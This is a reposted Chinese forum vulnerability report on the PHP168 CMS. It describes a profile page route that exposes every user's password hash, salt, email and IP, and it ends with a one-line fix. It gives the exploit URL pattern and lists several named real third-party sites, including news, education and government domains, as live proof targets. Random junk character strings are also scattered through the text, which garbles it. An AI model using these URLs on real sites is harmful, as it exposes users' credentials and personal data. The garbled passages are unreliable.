找回密码
 立即注册
查看: 3253|回复: 0
打印 上一主题 下一主题

PHP168漏洞可查询任意用户数据

[复制链接]
跳转到指定楼层
楼主
发表于 2013-9-21 16:02:53 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
简要描述:

国微PHP168中出现了一处神奇的array,可致全站用户数据泄露。泄露的内容包括全站用户的密码密文、邮箱、密码salt、IP等敏感信息。

详细说明:

PHP168程序内置“用户”模块包含用户个人资料展示页面。在很多实际场景中,这个页面不会在前台使用,但可直接通过URL进行访问。页面路由为:/homepage.php/[用户名]/member-profile, e! K& [3 R* G# m
, {# E& Q8 e' g; B9 u6 U* J9 S
以PHP168官方演示站点为例,查看任意用户信息的页面链接为:! g0 v5 s, `: Q1 p: C8 |
: S$ C1 G8 P1 B! [: s; J8 B4 O3 D7 P
http://php168.cn/com/homepage.php/admin/member-profile
' b+ ~( I5 n6 n; `$ r
& [+ n8 g6 `9 A由于该模块代码中出现了一句神奇的array,导致用户数据表内所有数据被当作数组取出直接显示出来。
4 s5 J3 X+ r& jhttp://www.myhack58.com/Article/UploadPic/2013-9/2013920918425520.jpg
/ n7 U9 Y3 i9 q/ Y$ i! Y3 p
' |: v3 B3 b1 D! z1 R

漏洞证明:

该漏洞影响使用该CMS系统的站点,以PHP168官网上的客户案例为例:* e# |3 p' z. X1 q  c$ d" X
% ~% A) S  Q" Z  f. `# ]4 H  A
http://www.zjfzol.com.cn/homepage.php/admin/member-profile
% f7 w& M# I. l( }' z) M+ B9 V$ h2 B$ m3 e) k- R+ d, s- `
http://www.scswl.cn/homepage.php/admin/member-profile" p% j* k1 h! V* d% K# t

4 R- B, {) j* {5 b6 S2 `http://www.tunet.edu.cn/homepage.php/admin/member-profile
5 Z% d2 l' A% d4 R' X: B: l+ X8 g* d" d# \# i3 Q4 E( O
http://www.itlead.com.cn/homepage.php/admin/member-profile
9 Q% @$ v& e8 y) C/ q( X7 U4 B: E
http://www.aedp.cn/homepage.php/admin/member-profile% A9 O& w  T, s7 O/ |; }0 _  {# s2 J
3 Q, w6 e& `( |! b
http://www.qianlongnews.com/homepage.php/test/member-profile4 u+ g4 e2 M% M; O. b: V
, M$ y2 r* g& b: \
http://ny.zlxk.com/gov/homepage.php/admin/member-profile

修复方案:

去掉输出

[/td][/tr]* I. v8 O. f: D5 q0 [6 J
[/table]
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表